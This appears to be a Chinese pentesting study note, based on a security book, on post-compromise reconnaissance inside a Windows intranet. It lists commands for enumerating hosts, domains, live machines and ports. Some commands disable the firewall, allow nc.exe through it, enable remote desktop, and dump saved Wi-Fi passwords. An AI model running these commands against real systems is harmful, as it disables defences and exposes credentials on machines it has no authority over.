内网渗透--信息收集(一)
参考书籍《内网安全攻防》.徐焱 贾晓璐 著
如有侵权,请联系,立删
收集本机信息
手动信息收集
ipconfig /all 获取网络配置信息
systeminfo 查询操作系统和版本信息、补丁信息等主机信息
echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构
wmic service list brief 查询本机服务信息
tasklist 查询进程列表
wmic process list brief 查询进程信息
wmic startup get commmand,caption 查看启动程序信息
net user 查看用户列表
net statistics workstation 查看开机时间
net localgroup administrators 获取本地管理员信息
query user || qwinsta 查看当前在线用户
netstat -ano 查询端口列表
wmic qfe get Caption,Description,HotFixID,InstalledOn 使用wmic命令查看安装在系统中的补丁
net share 查询本机共享列表
route print 查询路由表
arp -a 查询可用接口的arp缓存表
查询防火墙相关配置:
netsh firewall set opmode disable 关闭防火墙(windows server 2003及之前版本)
netsh advfirewall set allprofiles state off 关闭防火墙(windows server 2003之后版本)
netsh firewall show config 查看防火墙配置
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe" 允许指定程序进入
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许3389端口放行
查询并开启远程连接服务
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程连接端口 0xd3d为3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 同上
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /V fSingleSessionPerUser /t REG_DWORD /d 0 /f 同上
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 同上
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 获取连接过的wifi密码
自动信息收集
wmic信息收集脚本
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
查询当前权限
1.查看当前权限,命令如下
whoami
获取一台主机的权限以后,有三种情况:本地普通用户、本地管理员用户、域内用户。如果当前内网中存在域,那么本地普通用户只能查询本机信息,不能查询域内信息。本地管理员和域内用户可以查询域内信息。
2.获取域SID
whoami /all
3.查询指定域用户的详细信息
net user xxx /domain
判断是否存在域
1.使用ipconfig命令
执行如下命令,可以查看网关ip地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息
ipconfig /all
然后解析域名的ip地址,用解析得到的ip地址进行对比判断域控制器和DNS服务器是否在同一台服务器上
2.查看系统详细信息
执行如下命令,域即域名,登录服务器为域控制器。如果域为WORKGROUP,表示当前服务器不在域内
systeminfo
3.查询当前用户登录域及登录用户信息
执行如下命令,“工作站域DNS名称”为域名(如果为“WORKGROUP”,表示当前为非域环境),“登录域”表示当前登录用户是域用户还是本地用户
net config workstation
4.判断主域
执行如下命令判断主域,域服务器通常作为时间服务器使用
net time /domain
探测域内存活主机
1.利用NetBIOS快速探测内网
NetBIOS,为网上基本输入输出系统(英语:Network Basic Input/Output System)的缩写,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,NetBIOS不是一种网上协议,而是应用程序接口(API)。较古老的操作系统,使用IEEE 802.2与IPX/SPX协议,可以使用NetBIOS Frames协议或NetBIOS over IPX/SPX协议来运作。现代操作系统,多数都使用TCP/IP协议,则可透过NetBIOS over TCP/IP协议来相互通信。
工具:nbtscan
下载地址:http://www.unixwiz.net/tools/nbtscan.html
参数说明
Token | 含义 |
---|---|
SHARING | 该机器中存在正在运行的文件和打印共享服务,但不一定有共享内容 |
DC | 该机器可能是域控制器 |
U=UESR | 该机器中有登录名为user的用户(不太准确) |
IIS | 该机器中可能安装了IIS服务器 |
EXCHANGE | 该机器中可能安装了Exchange |
NOTES | 该机器中可能安装了Lotus Notes电子邮件客户端 |
? | 没有识别出该机器的NetBIOS资源(可以使用-F选项再次扫描) |
2.利用ICMP协议快速探测内网
依次对内网中的每个IP进行ping命令,可以快速找出内网中存活的主机。可以使用如下命令循环探测整个C段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.218.%I | findstr "TTL="
3.通过ARP扫描探测内网
3.1 arp-scan工具
下载地址:https://github.com/QbsuranAlang/arp-scan-windows-
3.2 msf的arp_scanner模块
创建路由之后再meterpreter中执行 run post/windows/gather/arp_scanner RHOST=192.168.218.0/24
扫描域内端口
- 端口的Banner信息
- 端口上运行的服务
- 常见应用的默认端口
1.利用Telnet命令进行扫描
Telnet协议是TCP/IP协议族的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。适用于只是想探测某台主机的某个常规高危端口是否开放,避免动静过大
2.msf端口扫描
在msfconsole中运行search portscan命令,即可发现多种扫描端口模块
3.nmap和masscan工具扫描
4.获取端口banner信息
通过nc或nmap获取服务的的banner信息